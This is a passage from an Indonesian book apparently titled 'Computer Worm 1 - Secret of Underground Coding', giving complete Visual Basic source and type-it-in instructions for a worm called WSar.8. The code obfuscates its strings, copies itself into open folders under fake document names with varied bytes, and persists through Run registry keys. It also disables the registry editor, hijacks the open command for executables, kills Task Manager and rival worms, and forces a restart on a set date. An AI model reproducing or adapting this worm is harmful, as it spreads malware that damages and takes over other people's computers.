Public Function Encrypt(ByVal TextInput As String) As String Dim NewLen As Integer Dim NewTextInput As String Dim NewChar As String Dim i As Integer NewChar = "" NewLen = Len(TextInput) For i = 1 To NewLen NewChar = Mid(TextInput, i, 1) Select Case Asc(NewChar) Case 65 To 90 NewChar = Chr(Asc(NewChar) + 127) Case 97 To 122 NewChar = Chr(Asc(NewChar) + 121) Case 48 To 57 NewChar = Chr(Asc(NewChar) + 196) Case 32 NewChar = Chr(32) End Select NewTextInput = NewTextInput + NewChar Next Encrypt = NewTextInputEnd Function

Public Function Decrypt(ByVal TextInput As String) As String Dim NewLen As Integer Dim NewTextInput As String Dim NewChar As String Dim i As Integer NewChar = "" NewLen = Len(TextInput) For i = 1 To NewLen NewChar = Mid(TextInput, i, 1) Select Case Asc(NewChar) Case 192 To 217 NewChar = Chr(Asc(NewChar) - 127) Case 218 To 243 NewChar = Chr(Asc(NewChar) - 121) Case 244 To 253 NewChar = Chr(Asc(NewChar) - 196) Case 32 NewChar = Chr(32) End Select NewTextInput = NewTextInput + NewChar Next Decrypt = NewTextInputEnd Function

Page 234: Computer Worm 1 secret of underground coding

219Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

Ketik kode program berikut ini pada module mdlDir:

Private Enum FileParts ExtOnly NameOnly NameExt PathOnlyEnd Enum

Private Function FilePart(ByVal FullPath As String, Optional ByVal WhichPart _

As FileParts = NameOnly) As String Dim lArray As Object Select Case WhichPart Case ExtOnly If InStr(FullPath, ".") Then lArray = Split(FullPath, ".") FilePart = lArray(UBound(lArray)) End If Case NameOnly, NameExt lArray = Split(FullPath, "\") FilePart = lArray(UBound(lArray)) If WhichPart = NameOnly Then lArray = Split(FilePart, ".") FilePart = lArray(LBound(lArray)) End If Case PathOnly Dim lFileName As String lFileName = FilePart(FullPath, NameExt) FilePart = Replace(FullPath, lFileName, "") End SelectEnd Function

Public Function GetDir(ByVal List As ListBox) On Error Resume Next Dim stra As String Dim objShell32 As New Shell32.Shell Dim objWindows As Object Dim lngCounter As Long objWindows = objShell32.Windows List.Clear() For Each objWindows In objShell32.Windows stra = ChangeAll(Mid(objWindows.LocationURL, 9, Len _ (objWindows.LocationURL) - 8), "/", "\") stra = ChangeAll(stra, "%20", " ") stra = ChangeAll(stra, "%7b", "{") stra = ChangeAll(stra, "%7d", "}") stra = ChangeAll(stra, "%5b", "[") stra = ChangeAll(stra, "%5d", "]") stra = ChangeAll(stra, "%60", "`") stra = ChangeAll(stra, "%23", "#") stra = ChangeAll(stra, "%25", "%") stra = ChangeAll(stra, "%5e", "^") stra = ChangeAll(stra, "%26", "&")

Page 235: Computer Worm 1 secret of underground coding

220Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 14. W

orm W

Sar.8

If Left(Right(stra, 4), 1) = "." Or Left(Right(stra, 3), 1) = _ "." Then stra = FilePart(stra, PathOnly) End If If Right(stra, 1) <> "\" Then stra = stra & "\" End If If Mid(stra, 2, 2) = ":\" Then List.AddItem(stra) End If Next objWindows = Nothing objShell32 = NothingEnd Function

Private Function ChangeAll(ByVal Source As String, ByVal Search As _ String, ByVal Restring As String) As String Dim hitung As Integer hitung = Len(Replace(Source, Search, Search & "*")) - Len(Source) ChangeAll = Replace(LCase(Source), Search, Restring, 1, hitung)End Function

Ketik kode program berikut ini pada module mdlRestart:

'Contoh penggunaan fungsi SendKeysOption Explicit On

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds _ As Long)Public Declare Sub keybd_event Lib "user32" (ByVal bVk _ As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal _ dwExtraInfo As Long)Public Declare Function MapVirtualKey Lib "user32" Alias _ "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType _ As Long) As LongPublic Const KEYEVENTF_KEYUP = &H2Public Const VK_CONTROL = &H11Public Const VK_ESCAPE = &H1BPublic Const VK_R = &H52Public Const VK_TAB = &H9Public Const VK_SPACE = &H20Public Const VK_UP = &H26Public Const VK_RETURN = &HD

Public Function Restart() Dim aba, baa, aab As Integer Dim bab, bba, abb As Integer Dim abc As Integer aab = MapVirtualKey(VK_UP, 0) aba = MapVirtualKey(VK_CONTROL, 0) baa = MapVirtualKey(VK_ESCAPE, 0)

Page 236: Computer Worm 1 secret of underground coding

221Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

bab = MapVirtualKey(VK_R, 0) bba = MapVirtualKey(VK_TAB, 0) abb = MapVirtualKey(VK_SPACE, 0) abc = MapVirtualKey(VK_RETURN, 0) keybd_event(VK_CONTROL, aba, 0, 0) keybd_event(VK_ESCAPE, baa, 0, 0) keybd_event(VK_CONTROL, aba, KEYEVENTF_KEYUP, 0) keybd_event(VK_ESCAPE, baa, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_UP, aab, 0, 0) keybd_event(VK_UP, aab, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_RETURN, abc, 0, 0) keybd_event(VK_RETURN, abc, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_R, bab, 0, 0) keybd_event(VK_R, bab, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_TAB, bba, 0, 0) keybd_event(VK_TAB, bba, KEYEVENTF_KEYUP, 0) Sleep(0) keybd_event(VK_SPACE, abb, 0, 0) keybd_event(VK_SPACE, abb, KEYEVENTF_KEYUP, 0) Sleep(0)End Function

Ketik kode program berikut ini pada module mdlWildMouse:

Option Explicit On

Private Declare Function SetCursorPos Lib "user32" (ByVal X As _ Long, ByVal Y As Long) As LongPrivate Declare Function GetCursorPos Lib "user32" (ByVal lpPoint As _ POINTAPI) As LongPrivate Type POINTAPI X As Long Y As LongEnd TypeDim XState As IntegerDim YState As Integer

Public Sub WildMouse(ByVal value As Boolean) If value = False Then Exit Sub Const Speed As Integer = 10 Dim ptCurrentPosition As POINTAPI Call GetCursorPos(ptCurrentPosition) If XState = 0 Then If (ptCurrentPosition.X + 1) >= (Screen.Width \ _ Screen.TwipsPerPixelX) Then ptCurrentPosition.X = ptCurrentPosition.X - Speed XState = 1 Else ptCurrentPosition.X = ptCurrentPosition.X + Speed End If

Page 237: Computer Worm 1 secret of underground coding

222Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 14. W

orm W

Sar.8

Else If ptCurrentPosition.X <= 0 Then ptCurrentPosition.X = ptCurrentPosition.X + Speed XState = 0 Else ptCurrentPosition.X = ptCurrentPosition.X - Speed End If End If If YState = 0 Then If (ptCurrentPosition.Y + 1) >= (Screen.Height \ _ Screen.TwipsPerPixelY) Then ptCurrentPosition.Y = ptCurrentPosition.Y - Speed YState = 1 Else ptCurrentPosition.Y = ptCurrentPosition.Y + Speed End If Else If ptCurrentPosition.Y <= 0 Then ptCurrentPosition.Y = ptCurrentPosition.Y + Speed YState = 0 Else ptCurrentPosition.Y = ptCurrentPosition.Y - Speed End If End If Call SetCursorPos(ptCurrentPosition.X, ptCurrentPosition.Y)End Sub

Ketik kode program berikut ini pada module mdlWinCheck:

Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" _ (ByVal lFlags As Long, ByVal lProcessID As Long) As LongPrivate Declare Function Process32First Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As LongPrivate Declare Function Process32Next Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As LongPrivate Declare Function OpenProcess Lib "kernel32" (ByVal _ dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As LongPrivate Declare Function TerminateProcess Lib "kernel32" (ByVal _ hProcess As Long, ByVal uExitCode As Long) As LongPrivate Const TH32CS_SNAPPROCESS As Long = 2&Private Const MAX_PATH As Integer = 260Private Type PROCESSENTRY32dwSize As LongcntUsage As Longth32ProcessID As Longth32DefaultHeapID As Longth32ModuleID As LongcntThreads As Longth32ParentProcessID As LongpcPriClassBase As LongdwFlags As LongszExeFile As String * MAX_PATHEnd Type

Page 238: Computer Worm 1 secret of underground coding

223Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

Public Function WinCheck(ByVal sExeNam As String) As Boolean Dim lLng As Long, lA As Long, lExCode As Long Dim procObj As PROCESSENTRY32 Dim hSnap As Long Dim lRet As Long hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&) procObj.dwSize = Len(procObj) lRet = Process32First(hSnap, procObj) Do While Process32Next(hSnap, procObj) If InStr(1, LCase(procObj.szExeFile), LCase(sExeNam$)) > 0 Then WinCheck = True Exit Do Else WinCheck = False End If LoopEnd Function

Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, dan module mdlWinExit menggunakan module yang sama pada WSar.6.

Tahap selanjutnya adalah mengetik kode program pada object frmWSar8, namun sebelumnya untuk mendapatkan suatu string teren-kripsi (cipher text) dapat dilakukan dengan cara berikut ini:

1. Pastikan Anda sudah membuat module mdlCrypt2. Aktifkan Immediate Window dengan cara menekan kombinasi

tombol Ctrl+G3. Pada jendela Immediate, ketik perintah berikut ini:

print encrypt("plain text")

Contoh, untuk mendapatkan cipher text dari string "Worm Komputer" dapat menggunakan perintah berikut ini

print encrypt("Worm Komputer")Öèëæ ÊèæéîíÞë

4. Selanjutnya Anda tinggal copy paste pada jendela Code.

Page 239: Computer Worm 1 secret of underground coding

224Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 14. W

orm W

Sar.8

Setelah itu, silahkan ketik kode program berikut ini pada object frm-WSar8:

'WSar.8 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255

Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function

Private Sub WormFighter() On Error Resume Next 'Pesin removal If Dir(SpecialFolder(1) & Decrypt("\ìòìíÚìä.ÞñÞ")) <> "" Then WinExit(Decrypt("\ìòìíÚìä.ÞñÞ")) Kill(SpecialFolder(1) & Decrypt("\ìòìíÚìä.ÞñÞ")) MsgBox(Decrypt("Óáâì éåÚÜÞ âì çèí Þçèîàá ßèë îì !"), _ vbInformation, Decrypt("ÑÞìí Èç ÏÞÚÜÞ... ÏÞìâç")) End If 'Kangen removal If Dir(SpecialFolder(1) & Decrypt("\ÜÜÚééì.ÞñÞ")) <> "" Then WinExit(Decrypt("\ÜÜÚééì.ÞñÞ")) WinExit(Decrypt("\äÚçàÞç.ÞñÞ")) Kill(SpecialFolder(1) & Decrypt("\ÜÜÚééì.ÞñÞ")) Kill(SpecialFolder(1) & Decrypt("\äÚçàÞç.ÞñÞ")) Kill(SpecialFolder(1) & Decrypt("\ðâçåèà.*")) MsgBox(Decrypt("Óáâì éåÚÜÞ âì çèí Þçèîàá ßèë îì !"), _ vbInformation, Decrypt("ÑÞìí Èç ÏÞÚÜÞ... ÊÚçàÞç")) End IfEnd Sub

Page 240: Computer Worm 1 secret of underground coding

225Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

Private Sub OpenApp() On Error Resume Next Dim objWord As Object objWord = CreateObject("Word.Application") objWord.Visible = True objWord.Documents.Add() objWord.Selection.Font.Shadow = True objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Name = "Arial Black" objWord.Selection.Font.Size = 18 objWord.Selection.Font.Bold = True objWord.Selection.Font.Bold = True objWord.Selection.Font.Color = &HFF0000 objWord.Selection.Font.Animation = 2 objWord.Selection.Text = Decrypt _ ("ÒÄÓÈÀ ÇÈÍÆÆÀ ÀÊÇÈÑ ÌÀÒÀ") objWord.Selection.MoveDown() objWord.Selection.Font.Animation = 0 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Size = 14 objWord.Selection.Font.Name = "Arial" objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Animation = 3 objWord.Selection.Text = Decrypt("ÌÚåÚæ âçâ äî ÛÞëçòÚçòâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÇÚçòÚ àÞæâçíÚçà æÞçÞæÚçâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÌÞæÛÞëâäî ìâçÚëÚç") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÏÞçòÞãîä áÚíâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &H80FF& objWord.Selection.ParagraphFormat.LeftIndent = 57 objWord.Selection.Text = Decrypt("ÊîåÚçàäÚáäÚç äÚäâäî âçâ")

Page 241: Computer Worm 1 secret of underground coding

226Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 14. W

orm W

Sar.8

objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÃèÚäÚçåÚá äî äÚç äÞæÛÚåâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("Óîä ðîãîÝäÚç ìÞæîÚ áÚëÚéÚç") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÂâçíÚ ÝÚç äÚìâá ÚÛÚÝâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF0000 objWord.Selection.ParagraphFormat. _ LeftIndent = 0 objWord.Selection.Text = Decrypt("ÑÞåÚäÚç ìÚòÚçà äÞéÞëàâÚçäî") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÇÚéîìåÚá Úâë æÚíÚæî") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÊîÛÞëãÚçãâ ìÞíîåîì áÚíâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÊîäÚç ìÞàÞëÚ äÞæÛÚåâ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF00FF objWord.Selection.ParagraphFormat. _ LeftIndent = 57 objWord.Selection.Text = Decrypt("ÊîÛÞëâ ìÞåÞæÛÚë ßèíèäî") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÒÞÛÚàÚâ éÞçàèÛÚí ëâçÝî") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÊîÛÞëãÚçãâ äÚç íÞíÚé ìÞíâÚ") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = Decrypt("ÒÚæéÚâ Úäáâë æÚìÚ . . .") objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Font.Animation = 0 objWord.Selection.ParagraphFormat. _ LeftIndent = 0 objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:= _ "Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:= _ "Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:= _

Page 242: Computer Worm 1 secret of underground coding

227Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

"Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:= _ "Webdings", CharacterNumber:=-4007, _ Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.MoveDown() objWord.Selection.TypeParagraph()End Sub

Private Sub Worming() On Error Resume Next Dim Acak As Integer Dim i As Integer Dim NamaCantik(10) As String NamaCantik(0) = Decrypt("éîâìâ ÜâçíÚ.ÝèÜ") NamaCantik(1) = Decrypt("äÚçàÞç íÞëéÞçÝÚæ.ÝèÜ") NamaCantik(2) = Decrypt("äÞçÚçàÚç íÞëåîéÚ.ÝèÜ") NamaCantik(3) = Decrypt("äÚìâá ÝÚåÚæ ÝîäÚ.ÝèÜ") NamaCantik(4) = Decrypt("æîìîá íÞëìÚòÚçà.ÝèÜ") NamaCantik(5) = Decrypt("âçÝÚáçòÚ ìÞåâçàäîá.ÝèÜ") NamaCantik(6) = Decrypt("äèëÛÚç ìÞíâÚ.ÝèÜ") NamaCantik(7) = Decrypt("ìòÚâë ÛÞëÜâçíÚ.ÝèÜ") NamaCantik(8) = Decrypt("ëâçÝî íÞëåÚëÚçà.ÝèÜ") NamaCantik(9) = Decrypt("ÜâçíÚ ìÞàâ ÞæéÚí.ÝèÜ") For i = 0 To lstDir.ListCount Randomize() Acak = Int(Rnd * 10) If Len(Dir$(lstDir.List(i) & "*doc .exe")) _ = 0 Then PolyCopy(WormFile, lstDir.List(i) & NamaCantik(Acak) & " .exe") End If Next iEnd Sub

Private Sub Form_Load() On Error Resume Next If App.PrevInstance = True Then End RegKiller() If LCase(App.EXEName) = Decrypt("ìéèèå÷ö") Then App.TaskVisible = False tmrSPOOL32.Enabled = True GoTo akhir End If If LCase(App.EXEName) = Decrypt("ðâçðèëÝ") Then tmrWINWORD.Enabled = True tmrDir.Enabled = True tmrIseng.Enabled = True GoTo akhir End If OpenApp() If Dir(SpecialFolder(1) & Decrypt("\ÖÈÍÖÎÑÃ.Ä×Ä")) <> "" And _ WinCheck(Decrypt("ÖÈÍÖÎÑÃ.Ä×Ä")) = True Then End tmrSPOOL32_Timer() Unload(Me)akhir:End Sub

Page 243: Computer Worm 1 secret of underground coding

228Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 14. W

orm W

Sar.8

Private Sub tmrDir_Timer() On Error Resume Next GetDir(lstDir) Worming() If Day(Now) = 13 And Month(Now) = 10 Then tmrDir.Enabled = False PayLoad() End IfEnd Sub

Private Sub PayLoad() Restart()End Sub

Private Sub tmrIseng_Timer() If Second(Now) > 52 Then WildMouse(True) Else WildMouse(False) End IfEnd Sub

Private Sub tmrWINWORD_Timer() On Error Resume Next tmrWINWORD.Enabled = False If Dir(SpecialFolder(0) & Decrypt("\ÒÏÎÎË÷ö.Ä×Ä")) = "" Or _ WinCheck(Decrypt("ÒÏÎÎË÷ö.Ä×Ä")) = False Then PolyCopy(WormFile, SpecialFolder(0) & Decrypt("\ÒÏÎÎË÷ö.Ä×Ä")) Shell(SpecialFolder(0) & Decrypt("\ÒÏÎÎË÷ö.Ä×Ä")) End If If GetStringValue(Decrypt("ÇÊÄØ_ËÎÂÀË_ÌÀÂÇÈÍÄ\ÒèßíðÚ" & _ "ëÞ\ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\Ñîç"), Decrypt("Ïëâç" & _ "íÞë Âéå")) <> SpecialFolder(0) & Decrypt("\ÒÏÎÎË÷ö.Ä×Ä") Then SetStringValue(Decrypt("ÇÊÄØ_ËÎÂÀË_ÌÀÂÇÈÍÄ\ÒèßíðÚëÞ\" & _ "ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\Ñîç"), Decrypt("ÏëâçíÞë " & _ "Âéå"), SpecialFolder(0) & Decrypt("\ÒÏÎÎË÷ö.Ä×Ä")) End If If GetStringValue(Decrypt("ÇÊÄØ_ÂÔÑÑÄÍÓ_ÔÒÄÑ\Òèßíð" & _ "ÚëÞ\ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\Ñîç"), Decrypt("Ìâ" & _ "Üëèìèßí ÖèëÝ")) <> SpecialFolder(1) & Decrypt("\ÖÈÍÖÎÑ" & _ "Ã.Ä×Ä") Then SetStringValue(Decrypt("ÇÊÄØ_ÂÔÑÑÄÍÓ_ÔÒÄÑ\ÒèßíðÚëÞ" & _ "\ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\Ñîç"), Decrypt("ÌâÜëèì" & _ "èßí ÖèëÝ"), SpecialFolder(1) & Decrypt("\ÖÈÍÖÎÑÃ.Ä×Ä")) End If Call WormFighter() WinExit("taskmgr.exe") tmrWINWORD.Enabled = TrueEnd Sub

Page 244: Computer Worm 1 secret of underground coding

229Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

Private Sub tmrSPOOL32_Timer() On Error Resume Next tmrSPOOL32.Enabled = False If Dir(SpecialFolder(1) & Decrypt _ ("\ÖÈÍÖÎÑÃ.Ä×Ä")) = "" Or WinCheck(Decrypt _ ("ÖÈÍÖÎÑÃ.Ä×Ä")) = False Then PolyCopy(WormFile, SpecialFolder(1) & Decrypt("\ÖÈÍÖÎÑÃ.Ä×Ä")) Shell(SpecialFolder(1) & Decrypt("\ÖÈÍÖÎÑÃ.Ä×Ä")) End If tmrSPOOL32.Enabled = TrueEnd Sub

Private Sub RegKiller() On Error Resume Next CreateKey(Decrypt("ÇÊÄØ_ÂÔÑÑÄÍÓ_ÔÒÄÑ\ÒèßíðÚëÞ\ÌâÜ" & _ "ëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\ÏèåâÜâÞì\ÒòìíÞæ")) If GetDWORDValue(Decrypt("ÇÊÄØ_ÂÔÑÑÄÍÓ_ÔÒÄÑ\Òèß" & _ "íðÚëÞ\ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\ÏèåâÜâÞì\ÒòìíÞæ"), _ Decrypt("ÃâìÚÛåÞÑÞàâìíëòÓèèåì")) <> 1 Then SetDWORDValue(Decrypt("ÇÊÄØ_ÂÔÑÑÄÍÓ_ÔÒÄÑ\Òèßíð" & _ "ÚëÞ\ÌâÜëèìèßí\ÖâçÝèðì\ÂîëëÞçíÕÞëìâèç\ÏèåâÜâÞì\ÒòìíÞæ"), _ Decrypt("ÃâìÚÛåÞÑÞàâìíëòÓèèåì"), 1) End If If Dir(SpecialFolder(1) & Decrypt("\ÜæÝ.ÞñÞ")) <> "" Then SetStringValue(Decrypt("ÇÊÄØ_ÂËÀÒÒÄÒ_ÑÎÎÓ\ëÞàßâåÞ\ìá" & _ "Þåå\èéÞç\ÜèææÚçÝ"), "", Decrypt("ÜæÝ.ÞñÞ /Ü ÝÞå ") & _ """%1""") Else SetStringValue(Decrypt("ÇÊÄØ_ÂËÀÒÒÄÒ_ÑÎÎÓ\ëÞàßâåÞ\ìá" & _ "Þåå\èéÞç\ÜèææÚçÝ"), "", Decrypt("ÜèææÚçÝ.Üèæ /Ü ÝÞå ") _ & """%1""") End If SetStringValue(Decrypt("ÇÊÄØ_ÂËÀÒÒÄÒ_ÑÎÎÓ\ÞñÞßâåÞ"), _ Decrypt("ÍÞïÞëÒáèðÄñí"), "")End Sub

Function PolyCopy(ByVal Source As String, ByVal Destination As String) On Error Resume Next Dim RndNum As String Dim RndNo As String Dim PoliStr As String Dim i As Long RndNum = RndNum & Second(Now) If Len(RndNum) = 2 Then For i = 1 To 2 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i Else For i = 1 To 3 RndNo = Int(Rnd * 9) RndNum = RndNum & RndNo Next i End If

Page 245: Computer Worm 1 secret of underground coding

230Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 14. W

orm W

Sar.8

If LCase(Right(Source, 4)) <> ".exe" Then Source = Source & ".exe" End If FileCopy(Source, Destination)Open Destination For Binary As #1 Source = Space$(LOF(1))Get #1, , Source PoliStr = Mid(Source, 113, 4)Put #1, InStr(1, Source, PoliStr), RndNumClose #1End Function

Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) <> "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WNameEnd Function

Sebagai perbandingan berikut ini adalah source code pada object frm-WSar8 yang belum terenkripsi.

'WSar.8 by Achmad Darmal'Tarakan, Kalimantan Timur - IndonesiaOption Explicit On

Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As LongPrivate Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As LongPrivate SF As String * 255

Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValueEnd Function

Page 246: Computer Worm 1 secret of underground coding

231Jasakom

Computer Worm 1 - Secret of Undeground Coding : Uncensored

B

ab 1

4. W

orm

WS

ar.8

Private Sub WormFighter() On Error Resume Next 'Pesin removal If Dir(SpecialFolder(1) & "\systask.exe") <> "" Then WinExit("systask.exe") Kill(SpecialFolder(1) & "\systask.exe") MsgBox("This place is not enough for us !", vbInformation, _ "Rest In Peace... Pesin") End If 'Kangen removal If Dir(SpecialFolder(1) & "\ccapps.exe") <> "" Then WinExit("ccapps.exe") WinExit("kangen.exe") Kill(SpecialFolder(1) & "\ccapps.exe") Kill(SpecialFolder(1) & "\kangen.exe") Kill(SpecialFolder(1) & "\winlog.*") MsgBox("This place is not enough for us !", vbInformation, _ "Rest In Peace... Kangen") End IfEnd Sub

Private Sub OpenApp() On Error Resume Next Dim objWord As Object objWord = CreateObject("Word.Application") objWord.Visible = True objWord.Documents.Add() objWord.Selection.Font.Shadow = True objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Size = 80 objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.MoveDown() objWord.Selection.InsertSymbol(Font:="Webdings", _ CharacterNumber:=-4007, Unicode:=True) objWord.Selection.Font.Size = 14 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Name = "Arial Black" objWord.Selection.Font.Size = 18 objWord.Selection.Font.Bold = True objWord.Selection.Font.Bold = True objWord.Selection.Font.Color = &HFF0000 objWord.Selection.Font.Animation = 2 objWord.Selection.Text = "SETIA HINGGA AKHIR MASA" objWord.Selection.MoveDown() objWord.Selection.Font.Animation = 0 objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph()

Page 247: Computer Worm 1 secret of underground coding

232Jasakom

Computer Worm 1 - Secret of Underground Coding : Uncensored

Bab 14. W

orm W

Sar.8

objWord.Selection.Font.Size = 14 objWord.Selection.Font.Name = "Arial" objWord.Selection.Font.Color = &HFF& objWord.Selection.Font.Animation = 3 objWord.Selection.Text = "Malam ini ku bernyanyi" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Hanya gemintang menemani" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Memberiku sinaran" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Penyejuk hati" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &H80FF& objWord.Selection.ParagraphFormat.LeftIndent = 57 objWord.Selection.Text = "Kulangkahkan kakiku ini" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Doakanlah ku kan kembali" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Tuk wujudkan semua harapan" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Cinta dan kasih abadi" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.TypeParagraph() objWord.Selection.Font.Color = &HFF0000 objWord.Selection.ParagraphFormat.LeftIndent = 0 objWord.Selection.Text = "Relakan sayang kepergianku" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Hapuslah air matamu" objWord.Selection.MoveDown() objWord.Selection.TypeParagraph() objWord.Selection.Text = "Kuberjanji setulus hati" objWord.Selection.MoveDown() 